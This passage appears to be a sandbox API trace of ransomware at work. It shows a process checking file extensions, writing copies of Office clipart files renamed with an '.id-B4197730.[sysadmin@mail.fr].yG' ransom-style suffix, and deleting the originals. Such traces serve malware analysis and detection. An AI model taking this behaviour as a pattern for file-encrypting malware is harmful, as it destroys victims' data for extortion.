	[0053.177] lstrlenW (lpString=".doc") returned 4
	[0053.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.177] lstrlenW (lpString=".docx") returned 5
	[0053.177] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.177] lstrlenW (lpString=".pdf") returned 4
	[0053.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.177] lstrlenW (lpString=".xls") returned 4
	[0053.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.177] lstrlenW (lpString=".xlsx") returned 5
	[0053.177] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.177] lstrlenW (lpString=".ppt") returned 4
	[0053.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0053.177] lstrlenW (lpString=".zip") returned 4
	[0053.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.178] lstrlenW (lpString=".rar") returned 4
	[0053.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.178] lstrlenW (lpString=".bz2") returned 4
	[0053.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.178] lstrlenW (lpString=".7z") returned 3
	[0053.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0053.178] lstrlenW (lpString=".dbf") returned 4
	[0053.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0053.178] lstrlenW (lpString=".1cd") returned 4
	[0053.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0053.178] lstrlenW (lpString=".jpg") returned 4
	[0053.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.178] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.178] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0053.178] GetLastError () returned 0x0
	[0053.178] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x9bc, lpOverlapped=0x0) returned 1
	[0053.180] WriteFile (in: hFile=0x39c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0053.180] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.180] WriteFile (in: hFile=0x39c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.181] SetEndOfFile (hFile=0x39c) returned 1
	[0053.181] CloseHandle (hObject=0x39c) returned 1
	[0053.181] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.181] SetEndOfFile (hFile=0x2f8) returned 1
	[0053.182] CloseHandle (hObject=0x2f8) returned 1
	[0053.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1
	[0053.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0053.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0053.183] lstrlenW (lpString=".doc") returned 4
	[0053.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.183] lstrlenW (lpString=".docx") returned 5
	[0053.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.183] lstrlenW (lpString=".pdf") returned 4
	[0053.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.183] lstrlenW (lpString=".xls") returned 4
	[0053.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.183] lstrlenW (lpString=".xlsx") returned 5
	[0053.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.183] lstrlenW (lpString=".ppt") returned 4
	[0053.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0053.183] lstrlenW (lpString=".zip") returned 4
	[0053.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.183] lstrlenW (lpString=".rar") returned 4
	[0053.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.183] lstrlenW (lpString=".bz2") returned 4
	[0053.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.183] lstrlenW (lpString=".7z") returned 3
	[0053.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0053.183] lstrlenW (lpString=".dbf") returned 4
	[0053.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0053.184] lstrlenW (lpString=".1cd") returned 4
	[0053.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0053.184] lstrlenW (lpString=".jpg") returned 4
	[0053.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.184] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.184] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0053.184] GetLastError () returned 0x0
	[0053.184] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xd14, lpOverlapped=0x0) returned 1
	[0054.227] WriteFile (in: hFile=0x39c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xd20, lpOverlapped=0x0) returned 1
	[0054.228] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.228] WriteFile (in: hFile=0x39c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.228] SetEndOfFile (hFile=0x39c) returned 1
	[0054.228] CloseHandle (hObject=0x39c) returned 1
	[0054.229] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.229] SetEndOfFile (hFile=0x2f8) returned 1
	[0054.229] CloseHandle (hObject=0x2f8) returned 1
	[0054.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1
	[0054.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0054.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0054.250] lstrlenW (lpString=".doc") returned 4
	[0054.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.250] lstrlenW (lpString=".docx") returned 5
	[0054.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.250] lstrlenW (lpString=".pdf") returned 4
	[0054.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.250] lstrlenW (lpString=".xls") returned 4
	[0054.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.250] lstrlenW (lpString=".xlsx") returned 5
	[0054.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.250] lstrlenW (lpString=".ppt") returned 4
	[0054.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0054.250] lstrlenW (lpString=".zip") returned 4
	[0054.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.250] lstrlenW (lpString=".rar") returned 4
	[0054.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.267] lstrlenW (lpString=".bz2") returned 4
	[0054.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.267] lstrlenW (lpString=".7z") returned 3
	[0054.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0054.267] lstrlenW (lpString=".dbf") returned 4
	[0054.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0054.267] lstrlenW (lpString=".1cd") returned 4
	[0054.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0054.267] lstrlenW (lpString=".jpg") returned 4
	[0054.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.267] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.267] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0054.268] GetLastError () returned 0x0
	[0054.268] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x370, lpOverlapped=0x0) returned 1
	[0054.293] WriteFile (in: hFile=0x39c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x380, lpOverlapped=0x0) returned 1
	[0054.293] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.293] WriteFile (in: hFile=0x39c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.293] SetEndOfFile (hFile=0x39c) returned 1
	[0054.295] CloseHandle (hObject=0x39c) returned 1
	[0054.297] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.297] SetEndOfFile (hFile=0x2f8) returned 1
	[0054.299] CloseHandle (hObject=0x2f8) returned 1
	[0054.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1
	[0054.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0054.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0054.300] lstrlenW (lpString=".doc") returned 4
	[0054.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.300] lstrlenW (lpString=".docx") returned 5
	[0054.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.301] lstrlenW (lpString=".pdf") returned 4
	[0054.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.301] lstrlenW (lpString=".xls") returned 4
	[0054.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.301] lstrlenW (lpString=".xlsx") returned 5
	[0054.301] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.301] lstrlenW (lpString=".ppt") returned 4
	[0054.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0054.301] lstrlenW (lpString=".zip") returned 4
	[0054.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.301] lstrlenW (lpString=".rar") returned 4
	[0054.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.301] lstrlenW (lpString=".bz2") returned 4
	[0054.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.301] lstrlenW (lpString=".7z") returned 3
	[0054.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0054.301] lstrlenW (lpString=".dbf") returned 4
	[0054.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0054.301] lstrlenW (lpString=".1cd") returned 4
	[0054.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0054.301] lstrlenW (lpString=".jpg") returned 4
	[0054.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.301] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.301] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0054.302] GetLastError () returned 0x0
	[0054.302] ReadFile (in: hFile=0x2fc, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x5ec, lpOverlapped=0x0) returned 1
	[0054.377] WriteFile (in: hFile=0x390, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x5f0, lpOverlapped=0x0) returned 1
	[0054.378] ReadFile (in: hFile=0x2fc, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.378] WriteFile (in: hFile=0x390, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.378] SetEndOfFile (hFile=0x390) returned 1
	[0054.378] CloseHandle (hObject=0x390) returned 1
	[0054.379] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.379] SetEndOfFile (hFile=0x2fc) returned 1
	[0054.380] CloseHandle (hObject=0x2fc) returned 1
	[0054.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1
	[0054.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0054.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0054.380] lstrlenW (lpString=".doc") returned 4
	[0054.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.380] lstrlenW (lpString=".docx") returned 5
	[0054.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.381] lstrlenW (lpString=".pdf") returned 4
	[0054.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.381] lstrlenW (lpString=".xls") returned 4
	[0054.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.381] lstrlenW (lpString=".xlsx") returned 5
	[0054.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.381] lstrlenW (lpString=".ppt") returned 4
	[0054.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0054.381] lstrlenW (lpString=".zip") returned 4
	[0054.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.381] lstrlenW (lpString=".rar") returned 4
	[0054.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.381] lstrlenW (lpString=".bz2") returned 4
	[0054.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.381] lstrlenW (lpString=".7z") returned 3
	[0054.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0054.381] lstrlenW (lpString=".dbf") returned 4
	[0054.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0054.381] lstrlenW (lpString=".1cd") returned 4
	[0054.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0054.381] lstrlenW (lpString=".jpg") returned 4
	[0054.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.381] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.381] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0054.382] GetLastError () returned 0x0
	[0054.382] ReadFile (in: hFile=0x2fc, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xf92, lpOverlapped=0x0) returned 1
	[0054.402] WriteFile (in: hFile=0x390, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0054.403] ReadFile (in: hFile=0x2fc, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.403] WriteFile (in: hFile=0x390, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.403] SetEndOfFile (hFile=0x390) returned 1
	[0054.409] CloseHandle (hObject=0x390) returned 1
	[0054.410] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.410] SetEndOfFile (hFile=0x2fc) returned 1
	[0054.411] CloseHandle (hObject=0x2fc) returned 1
	[0054.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1
	[0054.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0054.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0054.412] lstrlenW (lpString=".doc") returned 4
	[0054.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.412] lstrlenW (lpString=".docx") returned 5
	[0054.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.412] lstrlenW (lpString=".pdf") returned 4
	[0054.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.412] lstrlenW (lpString=".xls") returned 4
	[0054.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.412] lstrlenW (lpString=".xlsx") returned 5
	[0054.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.412] lstrlenW (lpString=".ppt") returned 4
	[0054.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0054.412] lstrlenW (lpString=".zip") returned 4
	[0054.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.412] lstrlenW (lpString=".rar") returned 4
	[0054.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.412] lstrlenW (lpString=".bz2") returned 4
	[0054.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.412] lstrlenW (lpString=".7z") returned 3
	[0054.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0054.413] lstrlenW (lpString=".dbf") returned 4
	[0054.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
